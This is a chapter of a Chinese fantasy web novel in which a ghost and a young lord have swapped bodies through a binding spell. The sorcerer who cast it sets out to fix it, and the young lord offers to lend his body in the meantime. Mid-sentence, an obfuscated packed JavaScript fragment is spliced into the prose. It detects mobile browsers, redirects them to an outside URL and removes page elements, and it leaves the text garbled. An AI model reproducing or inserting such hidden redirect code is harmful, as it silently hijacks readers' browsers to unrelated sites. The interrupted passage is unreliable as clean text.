曹云道:“想到了,可我年纪很大了,实在没这个精神守着你不睡觉。而且,法术并不是那么容易触发的。需要一个人触碰你的身体超过四分之一炷香。你想啊。除了你自己,谁会碰你超过那么长时间?” “原来是这样。我以为是‘刚靠近’——”沈黛恶狠狠加重后三个字,哼了一声,“就能触发法术。我就说,为什么焦二没事,阿斗少主就中招了。”他顿一顿,以自嘲的语气说,“是啊,我也想知道,谁会碰我这么长时间。这么长时间又都干了什么?” 沈黛凉凉的目光触到刘斗脸上,回忆起刚进入屋子时,对方那松散垮落的衣衫。刘斗咽了好几口唾沫,装作不经意地把目光错开了。这就让刘斗显得更加可疑。 沈黛问:“什么时候能换回来?” 沈黛这一问,连让曹云的目光都开始躲闪起来,“小沈黛,你听我说。缚神仙索是一种极难得的法器。它需要驯服成年三百年的母蜘蛛精,单纯服食金汁吐丝织成。上一只结丝的母蜘蛛精已经被我吃了。我手上的仙索原本就不多,还被你烧去一半,剩下的恐怕没办法为你重新缚神。” 沈黛:...... 刘斗:!!! 曹云一个大喘气,继续道:“我现在即刻启程去魏地寻母蜘蛛精。熬金汁的金子么,朔朔金像身上掘一块就够了。一来一去,快则半月,慢则半年,我就能带着新织造的缚神仙索回来。” “半年——”沈黛咀嚼着这两个字的分量,哼了一声,“随便吧。曹先生,你先把刘少主的魂魄从我的身体里拉出来。马上!” 刘斗问:“我出来,换回去了。你怎么办?” 沈黛道:“该怎么办怎么办。就当孤魂野鬼在书院飘着。谁规定做鬼不能念书写字?” 曹云点头道:“趁着少主的身体还没凉透,趁着缚魂仙索还没有在少主魂魄里生肉连筋,剥离魂魄会很简单,一点也不疼。是该先替少主换回去。” “少主恢复以后,就要想办法安置小沈黛。”曹云蹙眉凝思,用手指轻点洁净的下巴,“以小沈黛如今的修为,根本没办法在日头底下待着,会碎成一片片,等到月亮出来才重新凝结。”她突然神秘一笑,朝着沈黛眨眼,“你可以暂时附身一个陶俑。” 沈黛道:“陶俑?很容易被人踩碎的那一种?” 曹云道:“嗯,而且必须小一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12844447|125686||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点,最好巴掌大小,否则你会发现自己很难让自己的手脚动起来。就像你现在一样。你不是不想站着,而是根本站不起来吧?” 沈黛一咬牙,提起一口气,颤颤巍巍站直身体,以实际行动反驳曹云说他软弱的话。 曹云道:“鬼能移物、夺舍、御尸、杀人,但因为力量有强弱之分,鬼和鬼之间也是有区别的。打个比方,比如移物。弱一点的鬼吹翻一页书都困难,强大的鬼却能挥动一杆几百斤的银枪。可不管怎么说,对任何一只新鬼旧鬼来说,操纵他人身体都是一件极其损耗鬼力的事情。没有修为的鬼更加如此。” 刘斗插嘴:“你对鬼的事情好了解。” 曹云笑道,“做鬼我可是很有心得的。”她盯着沈黛,眨巴水汪汪的大眼睛,“小沈黛,我们选小陶俑怎么样?小鼻子小眼睛小嘴巴,再给你点个桃花妆,很可爱的。” 沈黛道:“一只鬼在学堂里听书,其他人看不见,不会觉得奇怪。一只陶俑每天起早贪黑杵在学堂里,是去搞笑的吗?我不需要你们打个模子让我往里边跳。做自由的鬼和做没有自我的陶俑之间,我选择鬼。” 刘斗吃了一大惊,“你这个样子还想着念书啊?你的学问到底有多深啊!” 沈黛用眼刀刮一眼刘斗。刘斗再次陷入自我领会的时刻。 曹云盯了沈黛一会儿,轻叹一口气说,“小沈黛,如你所愿。”她转向刘斗,“刘少主,我们开始吧。” 刘斗低垂着头,像是手指头上有莲子一样拨弄着玩,拖拖拉拉一番后,微抬起脑袋,怯怯道:“我不急着回去,真的。” 沈黛闻言心底的火一下子蹿起来,正想明里暗里嘲讽刘斗几句,突然看到刘斗关切的目光勾在自己身上。不得不说,自己的脸加上那份深情特别能打动人。 沈黛一下子悟了。刘斗所谓的“不急着回去”并不是真的不想回到自己的身体。而是,他不急着换回去,就可以把自己的身体暂时借给沈黛的意思。但他不确定沈黛愿不愿意留在他身体里,故而把自己的好意包裹了一层薄薄的糖霜。 除了累一点,这的确是一个很好的办法。不,累也是可以轻易解决的,白帝城的少主进进出出,坐车、抬轿、有人背难道不是很正常的事吗?相比于一不留神就在白日里破魂,或者被束在奇怪的陶俑里,身体上的疲累与笨拙根本不值一提。沈黛很是心动,但又拉不下脸面,主动把话说个明白。 见两人都沉默着不说话,刘斗觉得自己是不是把话说得太过含蓄了,示好也是需要对方能听明白才行,都到这一步了,不如再往前走半步,“我可以把身体暂时借给沈黛。” 曹云道:“你想清楚,半个月后,你的魂魄就会和缚神仙索有所粘连。日子越久,粘连越深。抽魂的时候会很疼。你不知道有多疼,你现在问小沈黛。他昨夜疼得都逃跑了。” 刘斗听到这几句话,脸色立刻一白,他立刻感觉到了来自沈黛的那恹恹中腾起凉气的目光,脑子一热,脖子一硬,嗓子一嗷:“我明白了。就这样。我愿意借给沈黛。” 曹云都不记得今日是第几次叹气了,边叹气边道:“现在的小家伙真是了不起,各有各的主意。这件事是我的错。我即刻启程,快去快回。在我回来前,你们都乖乖的,不许捣蛋!” 曹云走向房门,门又一次自己打开,她走出去,门再次关上。 沈黛尝试挪动脚,同手同脚,身子一歪,眼看要摔倒,被跨上来的刘斗用手从肋下穿过,扶住他。刘斗抓过沈黛的手臂放在自己肩膀上。两个人相互搀扶着,一高一低,一步一挪地往屋外走。 刘斗灵魂三问。 “换衣服怎么办?” “沐浴怎么办?” “出恭怎么办?” 沈黛气若游丝像是有人掐着他脖子马上要掐死他般地回答。 “第一,不准让我身体的任何地方出血。” “第二,万一出血,不要接近任何生灵,包括人。” “第三,也是最重要的一点,不准用我的身体做奇怪的事。”